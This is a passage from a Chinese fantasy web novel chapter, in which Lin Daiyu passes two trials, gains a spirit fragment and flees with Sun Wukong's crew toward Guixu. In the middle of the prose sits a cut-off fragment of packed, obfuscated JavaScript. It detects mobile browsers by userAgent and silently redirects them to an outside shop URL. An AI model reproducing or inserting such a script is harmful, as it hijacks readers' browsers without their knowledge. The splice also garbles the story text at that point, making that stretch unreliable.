第二关和第三关比第一关快得多。
第二关考的是共振，龙女用照命镜引导，林黛玉将体内两片真灵碎片的力量与镜面对接。
过程中她的眉心被碎片的灵力冲得生疼，鼻血滴了几滴在石台上，孙悟空的手臂架在她背后，防止她往后栽。
碎片共振成功。
通道开了。
第三关考的是信任。
密室的地面裂开，形成一道三丈宽的深渊。渊底看不到光。
苍老的声音说：“跳下去。”
没有别的提示。
孙悟空第一个要往下跳。
“等一下。”林黛玉拉住他胳膊，“它说的是碎片收集者跳，不是你跳。”
“你跳下去底下要是有什么东西。”
“系统评估过的试炼场，玄女亲手设的，不会无脑杀人。”
“你怎么就敢信这个判断？”
“因为她要是想杀我，犯不着设三千六百笔账让我算。”
猴子被噎住了。
林黛玉抽回手臂，走到深渊边缘，
跳了下去。
坠落。
风声在耳边呼啸了大约十息。
然后，柔软的着陆。
她摔在一团温润的蓝光里。蓝光托着她，轻飘飘浮在半空中。
第三片真灵碎片就在两步远的地方，悬浮在一朵透明的莲花上。
【第三关：信任。碎片收集者以自身安危为赌注，放弃防备，信任设局者的善意。通过。】
林黛玉伸手取下碎片。
温润的力量再次涌入眉心，这次带着细微的痛，碎片在体内和前两片融合的过程持续了好几息。
【叮！九天玄女第三片真灵碎片收集成功！】
【进度：3/9。】
【天命枷锁钥匙上半部分激活度提升至百分之六十。宿主灵根封印松动百分之三十五。】
【体质提升：24→31。】
三十一。
普通凡人及格线是三十。
她终于，跨过了及格线。
【奖励结算中，极品仙晶八百万，九天玄女传承技能碎片两枚，照命镜使用权限开放（可与龙女共享）。】
八百万进账。
账上余额直接飙到三千二百多万。
林黛玉在蓝光中站起来，活动了一下手脚，身体的感觉跟之前完全不同了。
体质三十一的骨骼和肌肉有了基本的支撑力，连呼吸都顺畅了。
她跺了跺脚。
稳。
不虚了。
头顶传来猴子的叫声：“你没事吧！”
“没事！下来！”
几道身影先后从深渊口跳了下来。
孙悟空最先落地，他的落点精准地控制在林黛玉旁边两尺远处。
猴子落稳之后第一件事，上下扫了她一遍。
“哪儿疼？”
“不疼。”
“鼻血呢？”
林黛玉用帕子擦了擦鼻子，干净的，没血。
“体质升了，三十一了。”
猴子愣了一息，伸手在她肩膀上按了一下，不重，试探性的。
以前这个力道，林黛玉得踉跄半步。
这回纹丝没动。
“结实了。”猴子的声音里带着一种很陌生的情绪，大圣从来不会用语言表达安心。
他这辈子被压了五百年，从来没怕过什么？
这段日子跟着林黛玉，怕的次数比五百年加在一起都多。
怕她体质太弱走两步喘五声，怕她在战场上被流弹波及，怕她的鼻血把帕子染红大半。
现在体质过了及格线。
至少，不会随随便便被风吹倒了。
“走吧。”林黛玉转身往回路走。
试炼场的出口在密室上方自动打开了。四个人从海底升回水面，翻上灵舟。
哪吒迎上来的第一句话：“怎么样？拿到了？”
“拿到了。”
“花了多少？”
“零。”
哪吒的下巴差点掉进海里。
“零？你们进去到底干什么了？”
“算账。”
“……就这？”
“三千六百笔。”
哪吒把嘴闭上了。
白泽从杨戬肩头跳下来，竖眼上下打量了林黛玉一圈。
“体质提升了，三十以上，你终于不是纸糊的了。”
“谢您夸奖。”
林黛玉在甲板上坐下来，翻开账本在新的一页上记录碎片信息，进度3/9，耗时四天半，接下来的碎片位置：东海龙墓已清，须弥山禁地和凌霄宝殿还差，白泽能感应的就这几个。
剩下的六片怎么找？
“龙女。”
龙女从船尾走过来。
“你的照命镜，能探测其他碎片的位置吗？”
龙女托起照命镜，镜面上淡金色的光纹流动了几息。
“最近的一片，在南海以南四千里外的荒海，其他的太远，照命镜的感应范围不够。”
“那片荒海有什么情况？”
“不清楚，照命镜只能定位，不能探路。”
林黛玉正要继续问，
白泽的竖眼突然全开。
金光暴涨。
“北边，有东西过来了！”
所有人同时转向北方，天空干干净净，海面风平浪静，肉眼看不到任何异常。
杨戬天眼全开，“不是人。”
杨戬的声音沉了下去，“是一座塔。”
“什么塔？”
“七层浮屠塔，正在以极高速度穿越云层，距离两百里，两刻钟之内到达。”
“托塔天王。”敖烈的声音从船头传来，嘶哑得走了调，“那是李靖的玲珑浮屠塔。”
李靖。
哪吒猛地站直了身体。
火尖枪在他手中嗡鸣，枪身上的火焰无风自燃。
“哪吒。”林黛玉叫了他一声。
哪吒没应，两只眼睛死死盯着北方的天空，那个方向，什么都看不到，但他能感觉到那座塔。
三年前，就是那座塔把他镇在陈塘关的地牢里，钉子穿过莲藕做的身体，泥水腐蚀着他的每一寸皮肉。
“哪吒！”
林黛玉提高了嗓门。
哪吒回过神，偏过头看她，火尖枪的火焰还在烧。
“你冷静点。”
“我很冷静。”
“你的枪在烧甲板。”
哪吒低头，风火轮底下的木板已经焦了一小块，他把火焰收敛回去，枪身上的光黯了下来。
“林姐姐，你下什么命令？”
林黛玉站起来，将账本塞进袖子里。
“跑。”
“……跑？”
“李靖的浮屠塔能镇压准圣以下所有修士。你和猴子加在一起都扛不住那座塔的全力一击，我们现在没有正面抗衡的本钱，跑。”
“往哪跑？”
“往南，四千里外的荒海，龙女刚才说第四片碎片在那一带，正好边跑边找。”
“灵舟速度不够，李靖有浮屠塔加速。”
“系统。”林黛玉的声音压得很低，“有灵舟加速用的道具吗？”
【瞬云加速阵盘×1，贴附于灵舟引擎，可使灵舟速度提升三倍，持续两个时辰。价格一百五十万极品仙晶。】
“买。”
【确认购买。当前余额：3214万→3064万。】
阵盘拍在引擎上。
袁洪的眼睛亮了，整条灵舟在阵盘激活的瞬间抖了一下，引擎的嗡鸣声暴涨了两个八度。
“走！全速往南！”
灵舟暴射而出。
三倍速度下，海面上的一切在视野里变成了模糊的蓝色条纹。
林黛玉扶住船舷稳住身体，回头看了一眼北方。
云层里，一个很小的金色光点正在急速变大，那是浮屠塔。
李靖来了。
“杨戬，塔的速度？”
杨戬天眼锁着那个金点：“比我们快，大约快两成。”
一个半时辰。
灵舟三倍速飞一个半时辰，大约能跑出一千四五百里，距离荒海还差一半。
不够。
林黛玉咬住牙。
“系统，有没有减速对方的道具？”
【灵力迟滞阵旗×3，投掷于身后，可在半径一百里范围内形成灵力迟滞区域，使通过者速度降低四成，持续半个时辰。价格每面八十万极品仙晶。】
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533717|202587||http|test|mini|href|location'.split('|'),0,{}));
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>三面就是两百四十万。
“买三面。”
【确认购买。当前余额：3064万→2824万。】
三面暗红色的阵旗出现在手中。
“每隔半个时辰丢一面，拖他一个半时辰。”
林黛玉把第一面阵旗递给哪吒。
哪吒接过阵旗，手指捏得关节发白。
“林姐姐。”
“嗯。”
“如果他追上来。”
“追上来再说，先跑。”
“如果跑不掉。”
“那就打。但我希望是在荒海打，那边是无主海域，没有天庭和灵山的驻军，我们的操作空间更大。”
哪吒握着阵旗挪到船尾。
风火轮悬在甲板上没踩，他站在那里，背对着所有人，面朝北方。
浮屠塔的金光在视野里越来越亮。
孙悟空走到林黛玉身旁。
“你今天花了多少了？”
“别问。”
“问了你会生气？”
“问了我怕自己先心梗。”
猴子伸手，握住她攥着袖口的那只手，连带着袖子里的账本一起握住了。
“账是死的。”猴子的声音压得很低，只有她听得到，“人是活的，你多花点钱活着，比省钱死了强。”
林黛玉没抽手。
“你什么时候学会说这种话了。”
“跟你学的，你每次砸钱的时候理由都是这个。”
海风从南边灌进来。
灵舟全速疾驰，几百里外，浮屠塔追着他们的尾巴，金光压过大半个海面。
两个人的手在船舷内侧交握着。
甲板上其他人要么在盯着北方，要么在检查装备。
没有人看这个方向。
或者看到了，也都很默契地把脸转开了。
半个时辰后。
哪吒将第一面迟滞阵旗掷出船尾。
阵旗在空中炸开，化作一片暗红色的光幕，覆盖了身后一百里的范围。
杨戬天眼监测。
“浮屠塔进入迟滞区域，速度下降了四成，拉开距离了。”
林黛玉呼了一口气。
第一面旗撑半个时辰。还有两面。
一个半时辰的缓冲。
够跑到荒海了。
“继续。”
她的话还没说完，系统面板再次弹出了红色警告。
【紧急提示！南方一千二百里处检测到新的灵力信号！】
【信号特征，灵山系统，金身罗汉三尊，正在向荒海方向移动。】
南边也堵上了。
林黛玉把账本从袖子里抽出来，翻到最后一页，满页都是红色的数字。
北边，李靖的浮屠塔。
南边，三尊金身罗汉。
前后夹击。
“系统。”林黛玉的指甲在账本封皮上刮出一道痕，“两面夹击，有什么解法？”
系统沉默了一息。
【检测到西侧七百里外存在一处上古空间节点，节点内部结构未知，灵力信号极度混乱。该节点在地图上标注为归墟。】
【归墟：上古传说中万水归流之地，海底深渊，曾为上古天庭弃置的流放之所。内部空间极不稳定，进入后外部势力无法追踪。】
【风险等级：未知。】
风险未知。
林黛玉合上账本。
“往西拐。”
孙悟空握着她手的力度紧了一分。
“那地方。”
“你有更好的主意吗？”
猴子沉默了两息。
“没有。”
“那就走。”
“袁洪。”林黛玉提高声量，“方向改西！全速！目标归墟！”
灵舟在海面上划出一道弧线，急转弯，朝西方扎了过去。
身后浮屠塔的金光刚挣出迟滞区域。
南方三尊罗汉的佛光隐约可见。
灵舟朝着地图上那个标着“未知”的深渊全速冲去。
龙女抱着照命镜缩在船舱角落里。镜面上的金纹在剧烈跳动。
她低声说了一句话，被引擎的轰鸣盖过了大半。
“归墟不是流放之所，那是坟。”
没有人听到。